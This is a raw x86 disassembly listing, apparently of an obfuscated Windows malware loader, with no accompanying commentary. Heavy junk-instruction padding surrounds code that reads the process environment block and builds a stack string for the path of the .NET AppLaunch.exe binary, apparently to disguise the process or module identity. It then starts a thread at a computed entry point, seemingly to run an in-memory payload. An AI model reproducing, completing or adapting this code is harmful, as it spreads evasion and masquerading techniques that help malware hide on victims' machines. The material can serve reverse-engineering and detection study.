bswap ebx
imul edi
neg edi
sub eax, 0x9a
mov eax, 0x1d
sbb eax, 0x36
dec esi
bswap ebx
mov edx, 0
rcl edx, 0xb8
add ebx, 9
or edx, 0x13
inc esi
rol eax, 0x24
not eax
not eax
inc ebx
neg edx
add edi, 9
sbb esi, 0x3b
imul edx
bswap ebx
not esi
imul ebx
inc ebx
and ebx, 0x69
or edi, 0xc
mov eax, dword fs:[0x30]
mov dword [ebp - 0x9c], eax
mov ecx, dword [ebp - 0x9c]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax + 0x14]
sub ecx, 8
mov dword [ebp - 0xa0], ecx
sub edx, 0x8c
not esi
bswap edx
inc edx
neg eax
or edi, 0xa8
not esi
rcl esi, 0xd8
not edi
imul ebx
imul edx
neg eax
rol edx, 0x2b
imul esi
imul edx
or esi, 0x50
or edi, 0xf8
dec edi
not edx
inc edx
sub ebx, 0x83
not eax
not esi
rol ebx, 0xa8
bswap ebx
not ebx
dec edx
imul edx
imul edi
bswap edi
rcl ebx, 0xa3
add ebx, 0x47
imul eax
neg ebx
or eax, 0x2c
sub edi, 6
imul edi
inc ebx
imul ebx
rcl edi, 0x2e
rcr ebx, 0x4f
imul ebx
ror edx, 0xfc
dec ebx
and eax, 0xbc
mov edx, 0x68
rol esi, 0xfd
not ebx
dec edx
sbb ebx, 0xb8
mov edx, 0x39
mov edx, 0x99
imul eax
dec esi
or esi, 0x2b
bswap edx
bswap esi
neg eax
mov eax, 0xf6
imul eax
dec esi
rcr esi, 0x71
rol eax, 0x49
imul esi
sub edi, 0xf1
imul edx
inc edx
sbb edi, 0x24
inc edi
and edi, 0x5a
rcr esi, 0xca
sbb esi, 0x8e
add eax, 0xae
mov esi, 0x40
neg ebx
sub eax, 0x39
bswap ebx
neg ebx
ror ebx, 0x15
rcl edi, 0xcf
dec edx
not edx
add eax, 0x1f
and ebx, 0xfa
sub esi, 0x93
neg ebx
dec edx
not edi
bswap esi
and ebx, 0x2b
neg edi
sub edx, 0x8f
neg eax
rol edi, 0xb9
neg ebx
sub edx, 0x2a
inc edi
add esi, 0x19
rol edx, 0xdc
rol esi, 0xe4
imul edi
or ebx, 0xe8
imul edx
rol edx, 0x4f
dec ebx
sub eax, 0x63
and edi, 0x5c
neg ebx
rcl edi, 0x66
sub edx, 0xf2
imul edx
imul esi
bswap eax
imul eax
not edx
rcr esi, 0x71
imul ebx
sbb ebx, 0x5b
mov edx, 0xdc
dec eax
mov edx, 0x60
rol ebx, 0x3b
dec edx
bswap edx
or eax, 0xfc
inc edi
imul edx
not edx
bswap edx
and ebx, 0x6d
imul eax
not edx
imul edx
rol ebx, 0x6c
rol eax, 0x39
inc esi
ror eax, 0xe2
or eax, 0x68
ror edx, 0xe5
bswap edx
dec ebx
add eax, 0xda
neg eax
and esi, 0xd5
rcr edx, 0x10
imul ebx
inc eax
imul ebx
or edx, 0x72
not edx
mov edx, dword [ebp - 0x9c]
mov eax, dword [ebp - 0x94]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ebp - 0x94]
mov dword [ecx + 0x18], edx
mov eax, dword [ebp - 0xa0]
add eax, 0x24
mov dword [ebp - 0xb4], eax
add edx, 0xd
not edx
bswap edi
rcl edx, 0xf5
add edi, 0x18
rcl ebx, 0xf0
sub ebx, 7
and eax, 0x6e
rcr esi, 0x68
and edi, 8
rol edi, 0x58
sub edi, 0x8a
rol eax, 0x43
rcr eax, 0xcf
imul edx
inc ebx
bswap eax
not ebx
ror esi, 6
mov edi, 0x67
inc edi
imul eax
rcl eax, 0x89
rcr edx, 0xf4
rol eax, 0xe0
rol edi, 0xea
neg edx
sbb ebx, 0x87
ror ebx, 0x41
dec ebx
neg esi
rol edi, 0x15
neg ebx
add ebx, 8
dec eax
mov edi, 0x76
bswap edx
inc eax
inc esi
sub edx, 0x68
imul eax
rol edx, 0xed
add esi, 0xd6
rol ebx, 0xea
bswap eax
not esi
rcl edi, 0xf2
dec eax
ror eax, 0xdc
ror edi, 0x19
rcr edx, 0xaf
dec edi
inc edx
bswap edx
neg ebx
imul eax
imul esi
sbb edx, 0xe2
imul edx
rol eax, 0x24
ror eax, 0xe4
neg edx
rcr ebx, 0x6f
bswap eax
inc eax
imul edi
ror ebx, 0xee
or esi, 5
inc eax
sbb eax, 0xa
dec eax
add edi, 3
inc esi
rcr eax, 0xe3
inc esi
sub eax, 0xd5
imul edx
neg esi
rcr edi, 0x41
imul edx
sub edi, 0xe
or esi, 0xaa
neg esi
add ebx, 0xfb
ror ebx, 0x7f
rcl esi, 0xee
sub edi, 0x5c
and ebx, 0x55
mov eax, 0x69
bswap edi
imul esi
dec ebx
rol eax, 0x7b
mov eax, 0x66
bswap edx
dec esi
imul edx
bswap edx
add esi, 0x7a
imul edi
neg edi
neg eax
not eax
inc edx
bswap eax
neg edi
not eax
rcl esi, 0xd6
not ebx
rcl edi, 0x69
mov edi, 6
imul ebx
and eax, 0x3e
rcr edx, 0x45
bswap ebx
neg eax
and esi, 0x99
ror edx, 0xe
imul eax
neg ebx
mov esi, 0x44
rcl edi, 0x99
add esi, 0xbc
or edi, 0x8d
imul edi
inc esi
add esi, 0x71
rol edi, 0xe2
dec esi
and eax, 0xea
neg edx
not edx
rol ebx, 0xd
not eax
dec ebx
rcr ebx, 0xfb
bswap edx
rol edx, 0x71
dec esi
dec esi
sub edx, 0xfc
rcr ebx, 0x52
imul eax
inc ebx
sub eax, 0xc3
or edi, 0x7c
rol ebx, 0xe7
ror esi, 0xb1
inc edi
rcr edx, 0xcb
mov ecx, 0x43
mov word [ebp - 0x90], cx
mov edx, 0x3a
mov word [ebp - 0x8e], dx
mov eax, 0x5c
mov word [ebp - 0x8c], ax
mov ecx, 0x57
mov word [ebp - 0x8a], cx
mov edx, 0x69
mov word [ebp - 0x88], dx
mov eax, 0x6e
mov word [ebp - 0x86], ax
mov ecx, 0x64
mov word [ebp - 0x84], cx
mov edx, 0x6f
mov word [ebp - 0x82], dx
mov eax, 0x77
mov word [ebp - 0x80], ax
mov ecx, 0x73
mov word [ebp - 0x7e], cx
mov edx, 0x5c
mov word [ebp - 0x7c], dx
mov eax, 0x4d
mov word [ebp - 0x7a], ax
mov ecx, 0x69
mov word [ebp - 0x78], cx
mov edx, 0x63
mov word [ebp - 0x76], dx
mov eax, 0x72
mov word [ebp - 0x74], ax
mov ecx, 0x6f
mov word [ebp - 0x72], cx
mov edx, 0x73
mov word [ebp - 0x70], dx
mov eax, 0x6f
mov word [ebp - 0x6e], ax
mov ecx, 0x66
mov word [ebp - 0x6c], cx
mov edx, 0x74
mov word [ebp - 0x6a], dx
mov eax, 0x2e
mov word [ebp - 0x68], ax
mov ecx, 0x4e
mov word [ebp - 0x66], cx
mov edx, 0x45
mov word [ebp - 0x64], dx
mov eax, 0x54
mov word [ebp - 0x62], ax
mov ecx, 0x5c
mov word [ebp - 0x60], cx
mov edx, 0x46
mov word [ebp - 0x5e], dx
mov eax, 0x72
mov word [ebp - 0x5c], ax
mov ecx, 0x61
mov word [ebp - 0x5a], cx
mov edx, 0x6d
mov word [ebp - 0x58], dx
mov eax, 0x65
mov word [ebp - 0x56], ax
mov ecx, 0x77
mov word [ebp - 0x54], cx
mov edx, 0x6f
mov word [ebp - 0x52], dx
mov eax, 0x72
mov word [ebp - 0x50], ax
mov ecx, 0x6b
mov word [ebp - 0x4e], cx
mov edx, 0x5c
mov word [ebp - 0x4c], dx
mov eax, 0x76
mov word [ebp - 0x4a], ax
mov ecx, 0x34
mov word [ebp - 0x48], cx
mov edx, 0x2e
mov word [ebp - 0x46], dx
mov eax, 0x30
mov word [ebp - 0x44], ax
mov ecx, 0x2e
mov word [ebp - 0x42], cx
mov edx, 0x33
mov word [ebp - 0x40], dx
mov eax, 0x30
mov word [ebp - 0x3e], ax
mov ecx, 0x33
mov word [ebp - 0x3c], cx
mov edx, 0x31
mov word [ebp - 0x3a], dx
mov eax, 0x39
mov word [ebp - 0x38], ax
mov ecx, 0x5c
mov word [ebp - 0x36], cx
mov edx, 0x41
mov word [ebp - 0x34], dx
mov eax, 0x70
mov word [ebp - 0x32], ax
mov ecx, 0x70
mov word [ebp - 0x30], cx
mov edx, 0x4c
mov word [ebp - 0x2e], dx
mov eax, 0x61
mov word [ebp - 0x2c], ax
mov ecx, 0x75
mov word [ebp - 0x2a], cx
mov edx, 0x6e
mov word [ebp - 0x28], dx
mov eax, 0x63
mov word [ebp - 0x26], ax
mov ecx, 0x68
mov word [ebp - 0x24], cx
mov edx, 0x2e
mov word [ebp - 0x22], dx
mov eax, 0x65
mov word [ebp - 0x20], ax
mov ecx, 0x78
mov word [ebp - 0x1e], cx
mov edx, 0x65
mov word [ebp - 0x1c], dx
xor eax, eax
mov word [ebp - 0x1a], ax
mov ecx, dword [ebp - 0x98]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xcf], dl
movzx eax, byte [ebp - 0xcf]
test eax, eax
je 0x40ab1a
push 8
mov ecx, dword [ebp - 0xb4]
push ecx
lea edx, [ebp - 0xc4]
push edx
call fcn.00401270
add esp, 0xc
mov eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0x90]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x90]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xb4]
mov word [ecx], ax
bswap edx
ror ebx, 0xdc
bswap edx
neg eax
sub edi, 0x96
add esi, 0xa7
inc eax
rol esi, 0x9d
sbb edx, 0xea
mov eax, 0x1c
sub esi, 0x29
neg eax
not edi
inc eax
neg ebx
sbb ebx, 0xfd
neg edx
rcl ebx, 0x58
dec esi
dec eax
imul edi
add edi, 0xba
inc ebx
rcr ebx, 0x3a
bswap edi
add ebx, 0xfc
or esi, 0xd3
rcr eax, 0xb2
or edx, 0xcd
rcl eax, 0xee
rcl ebx, 0xf5
imul esi
inc eax
neg esi
imul edx
bswap esi
bswap eax
imul edx
mov eax, 0xee
bswap ebx
bswap esi
or ebx, 0xad
or edi, 0xe7
sub edi, 0xb3
inc ebx
bswap edx
neg ebx
not edi
rcl ebx, 0xb
mov esi, 0xcd
not ebx
add esi, 0x7c
neg eax
bswap ebx
not edx
sub eax, 0xd1
rcl edi, 0xcb
neg esi
neg edx
inc edi
mov edx, 0x41
inc esi
not ebx
dec eax
sbb edx, 0xd5
imul edx
rcl eax, 0xd
not esi
rcl ebx, 0xee
dec edx
not ebx
neg edi
mov ebx, 0xdb
add edx, 0x84
mov edi, 0x1d
add edi, 0xe5
mov ebx, 0x4b
bswap ebx
and edi, 0xdd
neg esi
imul ebx
neg eax
bswap esi
or ebx, 0x1d
inc edi
bswap edx
not eax
inc edi
ror ebx, 0x7e
imul ebx
sub edx, 0x93
inc edx
mov esi, 0x92
neg esi
neg ebx
neg ebx
dec edi
dec edi
sub eax, 0xbb
imul ebx
or edx, 0xe9
and edx, 0xa2
add eax, 0x43
neg edi
ror edi, 0x3f
ror edi, 0xac
rol edi, 0x15
neg ebx
inc eax
sbb eax, 0x52
mov eax, 0x1d
dec edx
rol edx, 0xd4
mov edx, 0x57
mov ebx, 0x39
inc ebx
neg edi
not edi
dec eax
inc edx
rol eax, 0xa3
imul ebx
neg esi
ror edx, 0xb0
inc edx
sbb ebx, 0x4f
sbb edx, 0xa0
sub esi, 0x4f
rcr ebx, 0x97
inc ebx
or edi, 0xa1
imul eax
not edx
rcl eax, 0xa4
bswap ebx
ror edx, 0x57
add edi, 0xa4
ror esi, 0xa3
dec esi
imul ebx
neg edx
rcr eax, 0x13
rol edx, 0xd7
neg ebx
not esi
dec edx
not edi
dec ebx
bswap esi
and ebx, 0xd3
push 0
push 0
push 0
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x94]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xbc], eax
movzx ecx, byte [ebp - 0xcf]
test ecx, ecx
je 0x40ad1b
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xc4]
push edx
mov eax, dword [ebp - 0xb4]
push eax
call fcn.00401270
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
dec esi
bswap esi
dec esi
imul eax
inc esi
add edx, 0xaa
mov esi, 0x53
imul ebx
imul esi
neg ebx
bswap eax
rol ebx, 0x6f
inc edx
not edx
inc edi
dec ebx
bswap ebx
neg eax
rcl ebx, 0x57
not edi
rol ebx, 0x8f
neg ebx
neg edi
imul edi
mov eax, 0x33
bswap ebx
sub eax, 0xfc
dec ebx
not edi
bswap ebx
bswap ebx
sbb esi, 0x5b
imul eax
inc edi
imul eax
dec edi
imul esi
imul ebx
not esi
sbb edx, 0x20
sbb ebx, 0x37
dec edx
rol eax, 0xaa
rol esi, 0x36
dec esi
not ebx
or ebx, 0xd5
or ebx, 0x67
mov edx, 0x72
bswap edi
and esi, 0x48
rol eax, 0x58
bswap ebx
rol ebx, 0xdf
not esi
ror ebx, 0x3c
rcl ebx, 0xf3
sbb eax, 0x49
sbb eax, 0xda
ror edi, 0xd4
neg edx
mov ebx, 0x9a
rcr esi, 0x2a
not eax
sub eax, 0xa5
ror ebx, 0xbc
imul edx
neg esi
rol eax, 0x6d
neg ebx
ror edx, 0x57
mov ebx, 0x8c
ror esi, 0x23
imul esi
sbb esi, 0xf9
not ebx
sbb eax, 0x4b
and eax, 0x9e
imul eax
or eax, 0xf9
bswap edi
imul eax
not ebx
imul ebx
and edx, 0x29
rcr eax, 0x2e
rcr eax, 0xd5
dec edx
sub ebx, 0x32
inc edi
bswap edi
and ebx, 0xf4
not ebx
neg edi
bswap eax
rcr ebx, 0xc
rcl eax, 0xf9
ror esi, 0x3f
rcl ebx, 0xb7
sbb edx, 0xe1
bswap esi
imul eax
not edx
rcr ebx, 0x32
imul ebx
dec eax
sub ebx, 0x11
not esi
rcr eax, 0xa2
imul eax
dec edx
rol esi, 0x50
or ebx, 0x26
rol edx, 0xb0
neg edx
imul esi
inc edx
dec edi
rcl edi, 0xfa
or edi, 0xad
imul edx
or edi, 0x32
bswap edx
sbb edi, 0x85
sub esi, 0x3f
inc esi
bswap esi
dec ebx
and esi, 4
bswap esi
dec ebx
rcl edx, 0x84
sub edi, 0x47
neg esi
imul ebx
rcl eax, 0x21
neg eax
bswap eax
imul edx
inc ebx
rol ebx, 0x88
sbb edx, 0x6f
inc edi
not ebx
rol eax, 0x73
dec edi
bswap ebx
rcr eax, 0x84
add edx, 0x9a
dec edi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret